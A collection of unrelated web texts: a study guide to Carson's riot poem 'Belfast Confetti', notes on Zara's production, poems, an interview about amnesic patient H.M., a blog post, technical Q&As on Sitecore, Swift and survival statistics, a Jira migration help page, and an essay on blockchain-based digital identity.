The poem is about how the confusion of the riot causes confusion in the mind of the poet. How can he respond to this chaos? These feelings are expressed in the language and imagery, as well as the form.
The title, for example, creates a striking poetic image – the soft alliteration of 'f', in fact it is the sound of a bomb about to go off. The kind of confetti Carson is referring to is the debris falling after an explosion.
The poetic language is also pushed out by harsh, unpoetic words. These are presented in simple lists to express their lack of emotional associations (e.g. line 3).
Carson also lists the street names in lines 11-13. These work both on a literal level (they describe where he lives and how well he knows these streets) but also the metaphoric level. The streets are named after generals and battles and places from the Crimea War, a war the British fought in Victorian times against the Russians. He therefore likens the riot to a battle in a bigger war.
Force is used when spoken communication has broken down. So Carson cannot complete a sentence. All he can think of is punctuation marks with no words to punctuate.
The feeling of the poem is too unstable for the poet to carefully craft rhymes. But there are two key sounds that we can hear – the 'f' of the title, then the 'k' of the cracking social order, of the bomb and of the riot-policemen's truncheons. All but four lines contain one or more examples of the sound.
Attitudes, themes and ideas
The poem seems to be upside down or back-to-front. Instead of starting with a question then answering it, it moves from exclamation marks (in line 1) to question marks (in line 18). Both statements and questions, however, are delivered with equal force (the questions are described as being a "fusillade" which is a round of bullets fired by several guns at once). The point Carson seems to be saying is that under these conditions language is impossible.
He notes the unequal sides in this 'argument'. The riot police have Saracen tanks, wire, "Makrolon face-shields" while the rioters have nuts and bolts and nails and car-keys. As a poet, all he has are words. The weakness of these distresses him.
Where Carson finally succeeds, though, is in expressing this confusion.
Comprehension Q's
Use P.Q.E to answer
1. Explain the title of the poem.
2. What is happening in the poem?
3. How does the poet feel about events?
4. What lines in the poem show this is a modern conflict?
Full transcript
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the manufacturing process of ZARA clothes
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Lisa Oehlschlegel
on 1 March 2017
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Transcript of the manufacturing process of ZARA clothes
general information
- Zara was founded in Spain 1975
- the founder is Amancio Ortega
- Zara has 2169 stores
- produces around 450 million items a year
- parent company: inditex
- Zara needs only one week to design a new product
the cube
- heart of the company is the automated distribution center in La Coruna
- it has 3 different halls -> for man, woman and childrens
-463500 square meters with 11 fabrics
- all raw materials and finished goods pass through
the manufacturing process of Zara clothes
- Zara has 200 designers
- 3000 people working in manufacturing operations in Spain for 8 euro per hour
- it is network of 92000 employees
- delivery by truck or plain
- can deliver items to the stores
in a few days -> Europe 24 hours,
united states 48 hours, japan 73 hours
- they ship new products twice a week
- 50 % of all items are manufactures in Spain
- 26 % of all items are manufactures in the rest of Europe
- 24 % of all items are manufactures in Asia and Africa ( especially basic clothes)
- factories in Spain, Portugal, Turkey, Galicia
- 2011 Zara changed to a fully
toxic-free production after a
dialog with Greenpeace
Full transcript
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by Quin Hillyer at The American Spectator…
With just two major Republican debates remaining before the Iowa presidential caucuses, Donald Trump has been remarkably lucky. The only major candidate who could actually inflict lasting harm on the vulgar poster child for inherited wealth, and the only one who could readily attract and hold some of Trump’s blue collar constituency, is the only one banished — by the idiotic, poll-driven debate rules to which the feckless Republican National Committee acquiesced — from sharing a single stage with The Donald.
For reasons both stylistic and substantive, Pennsylvania’s former U.S. Sen. Rick Santorum could eviscerate Trump in a direct encounter.
This is not necessarily to say that Santorum could vault from near-last to first the way he did for a while in 2012. It is, though, to say he could do enough damage to Trump that either he or another candidate could finally surpass Trump, lastingly, in the national polls.
Here’s why….. (For the whole piece, and for a little rock/paper/scissors action, click this link.)
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Not with shame
do I bear my scars
nor with pride
are they worn –
each was earned
on its own field
and I owe them
what I’ve sworn.
Some long faded
still ache at times,
less of the flesh
and more in the soul;
those the deepest
were wrought in the storms
between you and I
and remind me I am old.
Those on the surface
betray the secrets
so carefully hidden
beneath the skin;
they crack and they bleed
and echo the cries
of a thousand nightmares
mirroring my sins.
My scars I’ll keep
to remember me by
as I wither
and my spirit fades;
I wear them with joy
at having lived
and loved,
thankful for the pain.
This sudden reality
wasn’t so sudden –
it was always there,
just not always
as it is now:
veiled and cloaked
behind a wall of light
radiant and full,
naked in its splendor,
a truth hidden
only by perception.
Your Light
Your light was not
as bright as
I believed it to be,
but I allowed myself
to be blinded by it;
I caught the sun
and held it for a moment
and even in burning
I held onto a hope
misguided and misplaced,
dimmed by darkening skies
and the frailty of reason.
I only sought truth
in your illumination
and to share the peace
between artist and Muse.
Instead I found
I was the light
in your shadow.
Remember well
what I try to forget
those things we shared
I don’t want to regret.
Whisper my name
when you hear those words
and echo the lyrics
when that melody’s heard.
Miss me in moments
when you want time
to slow down and stop
and imagine you’re mine.
And when it is cold
with no warmth to be found
hold onto dreams
no longer bound
by the burden of love
or what you once knew,
just forgive me the sins
I’ve made against you.
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Integrative thinking is a form of reasoning which allows you to constructively face the tensions of opposing models. Instead of choosing one at the expense of the other, you generate a creative solution. Your solution contains elements of the individual models, but is superior to each.
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The combination of the stagnation of medium incomes and the rapid rise of high incomes is threatening the future of democratic capitalism. Its predictive future requires building a more robust knowledge, transactional and physical infrastructure for broadly shared prosperity.
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An interview with Suzanne Corkin
SUZANNE Corkin is a professor of behavioural neuroscience at the Massachusetts Institute of Technology who worked with the famous amnesic patient H.M. for more than 45 years. I interviewed her at the annual meeting of the Society for Neuroscience in San Diego last month, for this article I wrote for The Dana Foundation. We talked about her work with H.M., and about the project to examine his brain now that he has died, which was partly funded by Dana. The transcript of our conversation is below.
How long did you work with H.M.? Did he ever know who you were? What was he like?
I started working with H.M. in 1962 when I was a graduate student [with Brenda Milner], and I'm still working with him. In a way he did remember me - he didn't think I was a stranger, he always thought I was his friend from high school. But he never knew who I really was.
He was always very polite, and those who knew him say exactly the same thing. I've talked to a few of his classmates, and they all said he was very quiet and kept himself to himself. He may have been like that because of his epilepsy. Perhaps he was afraid of having a seizure and embarrassing himself. But his father was also a quiet person, so maybe he had part of this in his genes.
It wouldn't be an exaggeration to say that he has contributed more to our understanding of memory than anyone else.
Yes, more than any other patient, and he's probably contributed more than all of the scientists who've studied him put together. I'd tell him that from time to time - I'd say "You know, you're really famous for doing all these tests." He'd act sheepish and smile, but then of course he'd forget what I said.
What do you think we'll learn from Project H.M.?
The obvious thing it will tell us is exactly where his lesion was, and it's extent. That's important in relation to any preserved memory he had - like motor skill learning, which we believe is heavily dependent on the striatum. So we'd like to know what his caudate and putamen are like. Priming depends on cortical areas mainly, so what is his cortex like? Also, we want to know about the perirhinal and parahippocampal cortices, which are adjacent to the hippocampus, and which we know from studies in monkeys and fMRI are critical for different kinds of memory.
Another thing we will learn is the correspondence between an MRI in life and the acid test of the brain, because MRI isn't perfect. If we have these comparisons to make between the in vivo scan and autopsy we'll know how accurate the MRI scan is. That'll be a good lesson, because so few autopsies are performed.
If researchers study patients with brain lesions, they should try to get autopsies when they die. They should ask the patient and their family for a brain donation when the person's still alive. As good as MRI is, it's not perfect, and it's important to establish a correlation between brain and behaviour - if you're doing a lesion study, it's important to know exactly where the lesion is, and the only way to do that is to get an autopsy, and that's not done commonly.
Didn't H.M. have dementia when he died? Do you think it was related to Alzheimer's? The disease starts in the medial temporal lobes, but his were missing.
Yes, it starts in the entorhinal cortex, which he didn't have. H.M. was hypertensive, and it wasn't treated. He also had many mini-strokes throughout his brain, and my guess is that he had vascular dementia, or what's called vascular cognitive impairment. But we won't know until we get the tissue from Jacopo [Annese, director of The Brain Observatory]. There are different stains that can be done to rule in or rule out different types of dementia. The neuropathologists will find out more.
How easy is it to distinguish between the degeneration that occured because of normal, age-related processes and the damage done during the surgery?
Damaging a part of the brain leads to retrograde degeneration, so that's something that we want to look at. We'd like to look at the connectivity in the MRI scans, but the autopsied brain is where you get to the truth. If we know the anatomy, we can look at the degeneration.
With H.M., there's the question of the mammillary bodies, which the hippocampus projects to. In monkeys, the mammillary bodies atrophy after hippocampal damage, but the neuropathologist who looked at H.M.'s said he thought they look pretty good. We'll know more eventually, especially when we get some controls.
All old people get plaques and tangles, but what's different about somebody with Alzheimer's Disease is that they have many more. If you look at a piece of tissue from a healthy, aged person, and compare it with the brain of a patient who had Alzheimer's, you'll find a greater density of plaques in the Alzheimer's brain.
You found that H.M. could remember the layout of his old apartment and that he could draw an accurate floor plan of it.
The interesting thing is that he moved to that house after his operation. For all intents and purposes he didn't remember anything on a day-to-basis - like what he had for breakfast or lunch - so it's quite astonishing that he moved into this house after his operation, lived there for years and was able to draw a floor plan, not just once, but on many different occasions.
I included drawings he did at two different times in my 2002 paper for Nature Reviews Neuroscience. Before I published it, I thought I'd better find out if they were accurate. Beforehand, I showed it to a distant relative he lived with for a while, and she said that it was right. But I was still a little uneasy, so I contacted the current owner of the house, and the really funny thing was that he makes floor plans for a living. He emailed me back a floor plan of his house, and only one thing had changed - they'd taken out a partition between the kitchen and dining room, but everything else was the same. He'd got it right, but he didn't remember that he had spent most of life in that house.
How was that possible when his entorhinal cortex was missing?
There were parts of the spatial memory network that Henry was clearly missing, like the hippocampus and entorhinal cortex, but he still had other parts, like all the cortical areas. I tried to get him to do a map following test at the clinical research center. I gave him a map and said "We're here, and I want you to find your way over to there," and he couldn't do it at all.
So his spatial memory was very impaired, but he could do certain tasks from the Weschler Intelligence Scale. I showed him a card with a pattern of red and white blocks, and he could duplicate the pattern when I gave him the right number of blocks. He was above average on that. So spatial ability is not monolithic - he was very good at that, and could develop cognitive maps of some sort, but was terrible at finding his way around. The house he lived in was small, with one floor, and he could find his way from the living room into the kitchen or into his bedroom. He was walking these routes many times every single day, so it was prolonged non-declarative learning over time.
Can you tell me a bit about the book you're writing?
It doesn't have a title yet, but it'll come out next year. It has 14 chapters, organized in chronological order, each containing something about H.M.'s life. The first chapter is about before his operation, the second about the surgery, and then there's a chapter on Penfield and Milner. It has science embedded in it too, of course, so it's an intermixing of that and his life. There is one heavy duty chapter, about the cellular and molecular bases of memory - H.M. inspired all that work, but his brain can't really tell us anything about it.
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The single most famous case study in the history of neuropsychology is that of an anonymous memory-impaired man usually referred to only by the initials H.M. This patient has one of the most severe cases of amnesia ever observed; he has been followed for over 40 years by more than 100 researchers,…
IN February of this year, Jacopo Annese (above), a neuroanatomist and radiologist at the University of California, San Diego travelled to Boston to take delivery of a brain. For Annese, collecting brains is not unusual - he is, after all, director of UCSD's Brain Observatory, which will eventually…
The amnesic patient known as H.M., who is the best known case study in neuropsychology, has died, at the age of 82. H.M., whose full name has now been revealed as Henry Gustav Molaison, lost completely the ability to form new memories following a radical surgical procedure to treat his severe and…
On November 4th, 1906, during a lecture at the 37th Conference of South-West German Psychiatrists in Tubingen, the German neuropathologist and psychiatrist Alois Alzheimer (1864-1915, right) described "eine eigenartige Erkrankung der Hirnrinde" (a peculiar disease of the cerebral cortex). In the…
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Tag Archives: french press
Morning rituals.
Everyone has a morning ritual. Some cultivate it carefully but for most, it’s a subconscious act. An act that begins your day with clarity, focuses your thoughts, channels your energy. It may be as simple as brewing your own coffee or packing lunch for your child, it may even be more elaborate like yoga or something as mundane as ironing your shirt or polishing your shoes. For some, mornings are spent in prayer, a time for reflection and devotion.
I have this terrible habit of over-sharing. So in that spirit, I’m going to let you all in to what my mornings are usually like.
I usually sleep with my little two year old daughter next to me. Both of us like our own space by the time we’ve fallen sleep but whenever I wake up, I find her clinging onto my forearm like a koala bear. I wake up and stare at her for a while, her eyes tightly shut, knowing morning is near. I brush away her hair, the softest ringlets of black with chestnut brown accents that one can ever lay eyes on. She squirms a little bit as I kiss her cheeks and forehead. I let her sleep in a little bit longer but then kiss her more frequently so that she wakes up with a smile. Once she’s up, the little dynamo can’t wait to get out of bed and run about. Out first stop is meeting Mommy and her little 6 month old brother, both of whom have been up for nearly an hour by now. Both the kids look at each other and smile, the little one squealing in delight after a tummy full of milk. This is when I make my great escape to the bathroom, while Mommy gets the elder one ready for playschool.
I spend an inordinate amount of time in the bathroom, much to the annoyance of my wife. But I’ve stopped caring about that and she’s kind of given up on my bathroom habits by now. I sit there, on my ceramic throne, reading. I’ve almost entirely given up reading the newspaper now. All the media that I consume is electronic. I rapidly read all the day’s news and then catch up on social media : Instagram, Twitter and if there’s time, Facebook. Most of the links shared by people and the ones that I’m interested in reading, get saved to Pocket. Finally, when it’s been a while and my feet are tingly and numb, I get off and head for the shower.
Most people at home tell me that I shower like a girl. Just because I shower at leisure doesn’t mean I’m frolicking in bubbles and rubbing myself with a loofah. The shower is where I focus. I go through the day’s schedule in my head, get ready for the surgeries lined up, go over some arguments I’ve had with the wife, think of witty retorts and sometimes even get carried away with melancholy. The last bit of the shower, I let the the water pound my face, think about my family, my kids and say thank you, to the universe for being so unnecessarily kind to me.
I get dressed, usually a crisp white shirt, occasionally blue (I love blue) and a pair of pants in varying shades, ranging from light gray to charcoal. I choose a tie, usually one in a sedate and saturated tone and occasionally playful like lime green or with polka dots. Set my hair with minimal product, it needs product because my hair is terribly ill behaved. And then, I head down for breakfast.
Breakfast is usually something simple. From poha to idlis, depending on the day and some fresh fruit. When I’m on a health kick, it’s usually oats or a simple egg white omelette. I usually like to make my coffee myself. Even if it is something as mechanical as a nespresso machine, popping in that little pod and watching the coffee pour out is a joy. When I’m not pressed for time, I use crushed beans (a blonde roast which isn’t weak) and a French press. I love the way the entire kitchen and the dining area fills with the smell of coffee. It transports you instantly to a happy place, wherever that may be for you. For me, it transports me mentally to Europe. I adjust my white cuffs and settle in to drink my coffee at leisure. The first sip electrifies my spine, it’s as though my nerves, congealed with lethargy after the night’s rest have suddenly come alive and are pulsating. It’s like drinking sunshine. I hate having to rush through my morning coffee and by the time I actually finish it, it’s usually cold. Since I try and limit myself to just one cup a day, I like to savor it. I’m not a great coffee connoisseur, I don’t know my beans or the roasts too well but I do get the romance behind it. And for me that’s important.
For some, it isn’t coffee, it’s tea. For most Indians actually, morning chai is a religion. That perfect blend of spice and sweet with just the right amount of milk. And it’s not even about the recipe, it’s about who brews it. Brew it for a little longer and it’s off, ruining the experience. For most Indian middle-aged couples, that morning cup of tea together is the most romantic time of day, despite no word being spoken, faces buried in newspapers.
Once breakfast is done, I shine my shoes and leave for work. If I’m in a rush, I use the good old ‘rush brush’ which is a bit like cheating but if I have time, I’ll go the whole hog with the wax and shine. If you’re a boarding school product like me, you’ll pride yourself on how well you can polish your shoes and will always believe that no one else can do it better.
So that’s my usual morning routine. And I cherish it. Someday, if I ever meet some of you, I’d be glad to make you a cup of coffee and sit across you for breakfast, without speaking much.
Do you have a morning ritual too? I’d love to hear about it. Till then, I hope your morning cup is filled with sunshine, just like mine.
(The picture above, is my cup of coffee this morning, a delightfully wholesome blonde roast, through the French press.
The French quote under it translates to “A mouthful of happiness”).
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Out of the Silent Planet
the_starry_night-wallpaper-1152x864C.S. Lewis’ Space Trilogy is my first reading project for the year, and I just loved Out of the Silent Planet. Lewis’ imagination fascinates me, and I was especially struck by Ransom’s experiences of and philosophizing on space.
He had read of “Space”: at the back of his thinking for years had lurked the dismal fancy of the black, cold vacuity, the utter deadness, which was supposed to separate the worlds. He had not known how much it affected him till now—now that the very name “Space” seemed a blasphemous libel for this empyrean ocean of radiance in which they swam. He could not call it “dead”; he felt life pouring into him from it every moment. How indeed should it be otherwise, since out of this ocean the worlds and all their life had come? He had thought it barren: he saw now that it was the womb of worlds, whose blazing and innumerable offspring looked down nightly even upon the earth with so many eyes—and here, with how many more! No: space was the wrong name. Older thinkers had been wiser when they named it simply the heavens—the heavens which declared the glory.
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I have seen that Sitecore 9 introduced new forms. Can anyone help me get information how these forms are different from WFFM?
Any help for these new forms will be helpful.
up vote 10 down vote accepted
WFFM and Sitecore forms are quite different in their implementation and the user interface for managing the forms in Sitecore. Both provide a fairly full-featured form building module. Sitecore forms however is a lot slicker to use as a content editor and is built in a much more modern way.
However given that it’s still quite new functionally there are some key differences/limitations worth highlighting:
• Sitecore forms does not have CAPTCHA, file upload, telephone or credit card fields but WFFM does
• It is not possible to verify a form when it is submitted or set the custom error message on a per-field basis out of the box with Sitecore forms
• More steps are required to add custom fields for Sitecore forms but it’s arguably more extensible and flexible to customise and more inline with modern approaches
• There are only 5 submit / save actions in Sitecore forms vs 16 in WFFM. Send email being one of the key ones missing in 9.0 but now available out of the box in 9.01 and above (making 6 submit actions).
• There is currently no rules engine support for Sitecore 9 forms but there is for WFFM
• There are no CRM connectors for Sitecore forms out of the box but WFFM has MS Dynamics save actions etc.
• Sitecore forms has tracking/analytics at a field level where as WFFM only does this at form level so this is once area where it wins out.
Sitecore Forms 9.1 features:
• Allows you to use conditions in form elements and build forms that respond to user input and show relevant questions. WFFM does not support this.
• You can now put forms in folders and control security on access.
• Provides support for value providers to pre-fill form fields.
In short I think which is best for your project depends on what you are doing but I think if you don’t use WFFM currently and are looking to build new forms then go with the new Sitecore Forms module as WFFM will eventually be phased out and it should be easy enough to build in anything you need that is missing in Sitecore forms. I believe Sitecore 9.1 does not support WFFM.
This post from Joao is a really good in-depth overview of the differences which I’d recommend reading:
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global_01_local_1_shard_00001926_processed.jsonl/49856
|
Occupation 101 High-Definition Movie Download
Digitally Remastered High-Definition Movie Download (.MP4)
File Size: 1.9 GB
License Type: Home/Private Use
To purchase a Public Performance License (i.e. license for public screenings) or an Institutional License (e.g. college/university libraries, non-profit groups, activists, etc.) contact us at: [email protected]
Please select one of the following (Suggested Donation OR Name Your Price):
Your purchase is considered a donation which will support the continued production of important socially conscious film projects.
• USD
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global_01_local_1_shard_00001926_processed.jsonl/49889
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Why am I getting 0 when subtracting 5.0 from 650.50 using the subtracting() method?
in the following code, adding, multiplying and dividing work fine, but why subtracting doesn't? What am I doing wrong?
See code in IBM's sandbox: http://swift.sandbox.bluemix.net/#/repl/59b1387696a0602d6cb19201
import Foundation
let num1:NSDecimalNumber = 650.50
let num2:NSDecimalNumber = 5.0
let result = num1.adding(num2)
let result2 = num1.subtracting(num2)
let result3 = num1.multiplying(by: num2)
let result4 = num1.dividing(by: num2)
print("Addition: \(result)") // Addition: 655.5
// Why am I getting 0 here and not 645.5?
print("Subtraction: \(result2)") //Subtraction: 0
print("Multiplication: \(result3)") //Multiplication: 3252.5
print("Division: \(result4)") //Division: 130.1
Apples Docs: https://developer.apple.com/documentation/foundation/nsdecimalnumber
• 2
I got " 645.5" in XCode Swift Playground. Could be an issue on the IBM part (well let's say not iOS/macOS Swift part). – Larme Sep 7 '17 at 12:26
• Hmm, that's weird. Thank your for checking (I'm away from my computer at the moment). – fs_tigre Sep 7 '17 at 12:30
• 3
Try with result2.doubleValue – Rajmund Zawiślak Sep 7 '17 at 12:51
• result2.doubleValue works, but according to the documentation it should return an NSDecimalNumber without you having to do this. Thanks. – fs_tigre Sep 7 '17 at 12:55
up vote 2 down vote accepted
This may be because of a specificity of the IBM sandbox related to NSDecimalNumber (indeed many parts of Foundation are still not entirely available on Linux).
Anyway, whatever the bug is, a solution is to use the Swift counterpart to NSDecimalNumber which is Decimal.
Despite the fact that this is supposed to be only a wrapper around NSDecimalNumber, it gives the correct result, even on the IBM platform.
Note that this wrapper doesn't use the NSDecimalNumber methods, it uses Swift operators such as + or *.
import Foundation
let num1: Decimal = 650.50
let num2: Decimal = 5.0
let result = num1 + num2
let result2 = num1 - num2
let result3 = num1 * num2
let result4 = num1 / num2
print("Addition: \(result)")
print("Subtraction: \(result2)")
print("Multiplication: \(result3)")
print("Division: \(result4)")
Addition: 655.5
Subtraction: 645.5
Multiplication: 3252.5
Division: 130.1
• Quick question, is Decimal considered the same as NSDecimalNumber? In other words, is Decimal recommended currency? Thanks a lot! – fs_tigre Sep 7 '17 at 13:04
• 1
Decimal is supposed to be the same type as NSDecimalNumber but converted to Swift. It is truly intended for money calculations (decadic, high precision arithmetic). However, there are some methods missing compared to NSDecimalNumber. – Sulthan Sep 7 '17 at 13:05
• 1
@fs_tigre The documentation states that the two are bridged, so I'd say that yes, Decimal is supposed to have the same behavior. – Moritz Sep 7 '17 at 13:06
• Cool, Decimal may be my best choice since you can use the native Swift operators (+, - etc.). I will look into what methods will I be missing by using Decimal. Thanks a lot. – fs_tigre Sep 7 '17 at 13:14
• 1
I believe that Decimal actually corresponds to NSDecimal. NSDecimalNumber is a wrapper around NSDecimal. In either case, it's the preferred way of dealing with currency. See this answer for more info. stackoverflow.com/a/41264395/3203487 – David Berry Sep 7 '17 at 14:41
Your code isn't wrong and works correctly in Xcode/macOS. However, IBM's Swift sandbox uses Linux, and the implementation of Foundation on Linux has issues. In the Status page of the repo, NSDecimalNumber is marked as "Unimplemented". Therefore, it may have some problems. Use classes from the standard library instead.
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global_01_local_1_shard_00001926_processed.jsonl/49890
|
Buffalo vs. PHPixie vs. .NET
Hacker News, Reddit, Stack Overflow Stats
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What is Buffalo?
Buffalo is Go web framework. Yeah, I hate the word "framework" too! Buffalo is different though. Buffalo doesn't want to re-invent wheels like routing and templating. Buffalo is glue that wraps all of the best packages available and makes them all play nicely together.
What is PHPixie?
PHPixie is easy to learn and does not rely on automagic. PHPixie will fit both newcomers and experienced architects providing ease of use, solid foundation and total flexibility.
What is .NET?
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1 companies on StackShare use Buffalo
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• Rails - Web development that doesn't hurt
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global_01_local_1_shard_00001926_processed.jsonl/49891
|
Meteor vs. Buffalo vs. Hoodie
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• 28K
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What is Meteor?
A Meteor application is a mix of JavaScript that runs inside a client web browser, JavaScript that runs on the Meteor server inside a Node.js container, and all the supporting HTML fragments, CSS rules, and static assets.
What is Buffalo?
What is Hoodie?
We want to enable you to build complete web apps in days, without having to worry about backends, databases or servers, all with an open source library that's as simple to use as jQuery.
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1 companies on StackShare use Hoodie
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10 tools on StackShare integrate with Meteor
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1 tools on StackShare integrate with Buffalo
No integrations listed yet
What are some alternatives to Meteor, Buffalo, and Hoodie?
• Rails - Web development that doesn't hurt
• Django - The Web framework for perfectionists with deadlines
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global_01_local_1_shard_00001926_processed.jsonl/49895
|
In one paper describing results of survival analysis I have read a statement that implies that one can translate Hazard ratio (HR) into ratio of median survival times ($M_1$ and $M_2$) using the formula:
$HR = \frac{M_1}{M_2}$
I'm sure it doesn't hold when one cannot assume proportional hazard model (as nothing works if HR is not well-defined). But I suspect, that even then it wouldn't work for any survival distribution except exponential. Is my intuition right?
• Like the first person I am interested in calculating a hazard ratio (HR) from a ratio of survival times (assuming the distributional assumptions hold). I just wanted to add a point of clarification Suppose I want to calculate the HR for treatment 1 versus 2 Median survival on treatment 1 is 1 years (M1=1) Median survival on treatment 2 is 2 year (M2=2) then surely my HR for treatment 1 versus 2 is M2/M1 = 2 and not M1/M2 = 1/2 so we have to reverse the signs, am I right? Jack – user61605 Nov 27 '14 at 11:53
up vote 12 down vote accepted
Your intuition is correct. The following relationship between survival functions holds: $$ S_1(t)=S_0(t)^r $$ where $r$ is the hazard ratio (see, e.g. the Wikipedia article Hazard ratio). From this we may show that your statement implies an exponential survival function.
Let us denote the medians by $M_r$, $M_1$ for two variables with hazard ratio $r$. Your statement implies $$ M_r = M_0/r $$ From the definition of the median, we get $$ S_r(M_0/r)=0.5 $$ Then, we substitute the relationship between survival functions $$ S_0(M_0/r)^r=0.5 \Rightarrow S_0(M_0/r) = 0.5^{1/r} $$ This holds for any $r$, hence $$ S_0(t) = 0.5^{t/M_0} = e^{t\frac{\log 0.5}{M_0}} $$ Hence, if the statement in your question holds for arbitrary HR, the survival distribution must be exponential.
• (+1) concise, yet very clear explanation. – Glen_b Apr 22 '13 at 13:30
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global_01_local_1_shard_00001926_processed.jsonl/49899
|
A Chance Encounter Leads to a New Book to Read
26 Feb
I felt a tug on my shoulder. Startled out of my morning fog, I turned around. There was a woman I hadn’t seen in quite some time. We had graduated from the same women’s college but in different years. “How are you?” she asked. Then she asked if I’d read a certain book. I hadn’t and she suggested we read it together and discuss over a meal. It felt serendipitous. It’s moments like this that make me love New York City even more.
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global_01_local_1_shard_00001926_processed.jsonl/49927
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Migrating Jira servers or changing Jira URL domain
Sometimes a situation arises where a team that has an integration with Jira running needs to migrate their server or otherwise update the Jira domain being used in the integration.
This can raise a few concerns on the Aha! end due to the tightness of integration between the two applications.
The first concern is that Aha! stores the URL of the Jira issue. This URL will be different now, so clicking on the link to the issue in the user interface won't work. However, this is purely a cosmetic problem, Aha! uses the URL from the integration configuration when communicating with Jira to perform syncing. So links to existing issues will appear to be broken in the UI, but the issues will continue to sync correctly.
The second concern is a bit more complicated. Aha! stores the unique identifier for each linked Jira issue. This identifier is an integer, and is not normally visible in the Jira UI. The identifier is necessary because it is possible for the issue key (like APP-123) to be changed. Some methods of moving from one Jira instance to another will change these identifiers and so Aha! will no longer be linked to any issues - even though it displays the same key in the user interface.
The issue ID is a somewhat hidden field in Jira. The easiest way to find the ID is to open an issue and mouse over the edit option. The status bar on the bottom of your browser will display the URL with the issue ID.
If the issue ID is going to change, the integration will be broken for any previously linked Aha! object. There are three ways to fix this issue, beginning with the easiest:
1. Delete all the previously linked features from Aha! and do an import from Jira
2. Do the opposite and delete the issues from Jira and re-send everything from Aha!
3. If you have a very small number of features and issues, you can also manually link each Aha! feature to a Jira issue under the Actions menu in each feature. These will manually link only features and not requirements.
For more details on thinking this through see "Moving Aha! features to a new product did not move Jira issues".
This same process would need to be used if the team wishes to update the reference URLs in Aha! and Jira - although it is a bit of work for what is essentially a cosmetic fix in that situation.
Remember, we do not propagate deletions of data objects so if you delete in Aha! or in Jira the associated object would not delete (This is even more true since the integration link is presumably broken anyway!)
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global_01_local_1_shard_00001926_processed.jsonl/49948
|
The next revolution will be reclaiming your digital identity
An identity is a difficult thing to lose.
I found this out the hard way when my passport was stolen while backpacking through Asia and Africa earlier this year. The bureaucratic process to get a new passport gave me a glimpse at how broken our system of identity management is today.
Fortunately, technology is on the cusp of a major paradigm shift in the field of identity. Blockchain will create a major revolutionary transformation in this area — but many questions of how still remain unanswered. Companies, governments and NGOs are beginning to tackle this question in ways that hint at the profound impact this will have on how we live our lives.
Their promise is that our identities will be consolidated so that we have complete control over who accesses that information. This will protect us from increasingly sophisticated fraud and theft. It also will create unprecedented access for the “bottom of the pyramid” who are still off the grid. Imagine crossing any border, and qualifying for any service, with immediate access to your funds and accounts, all with one simple digital ID.
Tracing your fragmented digital signature
Almost everything we do today leaves an increasingly digital signature. Yet this signature is scattered among different services that use it primarily for their, rather than our, benefit. One first-order promise of blockchain is to rebalance that dynamic so we can reclaim and consolidate our digital identities.
When I refer to digitization, what I mean is that our rites live on in data long after they are performed: commutes are captured by a smartphone’s GPS, purchases by banks and credit cards, thoughts in texts and emails (and unsolicited voice recordings.)
This data has two features: it is widely dispersed and narrowly segmented. It’s dispersed in that different parties own different pieces of our identity. A social network (Facebook) may own our relationship architecture, while an e-commerce platform (Amazon) owns our purchase history and preferences. Their economics are built in part off their ownership of our data in the context of their network. It’s segmented in that each of these portions are narrowly relevant to the revenue-generating service provided by that party.
It is counter-intuitive, but the reality is that we don’t really own ourselves (in the digital sense). Though we can edit the profiles we create, third parties ultimately own our data. And it can be painful (or impossible) to wrest back control of that data. Imagine trying to sustain your personal relationships while deleting all your social network accounts, or put a down payment on a home without a credit history.
Why is this important? Well, to begin, as Jaron Lanier writes in Who Owns the Future, “You don’t get to know what correlations have been calculated about you by Google, Facebook, an insurance company, or a financial entity, and that’s the kind of data that influences your life the most in a networked world.” Lanier calls these services siren servers, and notes that we are eerily comfortable giving away personal data in a trade for convenience.
The implications of this paradigm are troubling:
1. We have no control. Each service has an abstracted model of who you are built into it. This information can be bought and sold, and also easily breached, without your consent. This setup is convenient (e.g. we get better-targeted recommendations), and also dangerous (e.g. we can be profiled and manipulated).
2. The segmentation is inefficient. What if all these data repositories played nice with each other? For instance — if your passport, driver’s license, bank and email were integrated — you could travel internationally, ensure your credit cards work, receive curated recommendations and alert people of your whereabouts, without any work required on your end. You could prevent identity theft. You could move around without identification.
3. We do most of the work for none of the benefits. This is Lanier’s primary contention. As has been noted, if services like Google Search are free, that is because we are not the customer, we are the product. In much the same way that Uber drivers occupy a grey area between employees and contractors, we act somewhat like workers for Amazon and Facebook, yet are only compensated with convenience, not payment, for giving up our data.
If you were to look at a complete model of your digital self, it would be a complex relational web. At the most granular level of that web are nodes, each representing actions (a text, a selfie, a purchase…). The connections between those nodes are formulas that infer relationships, record patterns and predict behavior. If you zoom out, you get the sub-web of a given service (Instagram account, Homeland Security profile, medical history…). These sub-webs then join together to form the larger web that is your digital identity.
At the risk of beating a dead horse, we should have ultimate control over our identity access points.
There are two key steps to reclaiming control of your digital identity: 1) establishing ownership of the nodes so you can grant or revoke permission for third-party services to access them, and 2) consolidating all these nodes into one location so your digital identity is no longer fragmented between separate walled gardens.
As Ron Miller writes, “The argument goes that if our identity were on the blockchain, it would give us more control over this information, and with proper applications allow us to present just the minimum amount of information a given party needs to identify us. That could be your date of birth at a bar, your credit score at a bank or a unique identifier to access an online service.”
Does this matter? Why sacrifice convenience for sovereignty?
People only tend to care about identity management when their identity is compromised. It’s fortunate for the sake of this article that, as I was writing it, Equifax suffered the most massive data breach in its history and Yahoo’s estimates of its data breach rose to 3 billion accounts. Enough ink has been spilled on that news, but I want to point to an excellent response by Chris Skinner using these breaches as a rallying cry for self-sovereign identity.
The concept of the sovereign individual is that people should have complete control of their digital selves. You would have to provide access to third parties to obtain benefits: to your passport to cross borders, to your medical records to get a new doctor, to your criminal history to pass background checks… But this data would all be permissioned by you and not by third parties without your consent. As Skinner argues, “only one constituent owns customer data and that is the customer.”
(Many trace this concept back to the 1999 book The Sovereign Individual, which discusses the advent of the internet for liberation from oppressive states. For what it’s worth, the book is full of unsubstantiated claims and is worth skipping.)
The Equifax breach encapsulates perfectly why sovereignty is so important: In a system where we are forced to relinquish our credit histories to a third party, it can use (and lose) that data in a manner that massively exposes us. These cases range from the trivial to the life-altering:
1. You forget a password and have to reset it (trivial);
2. Hackers impersonate you on social media (irritating);
3. Someone steals your SSN and defaults on a credit card in your name (serious);
4. An oppressive state spies on, tracks and arrests potential dissidents (life-altering).
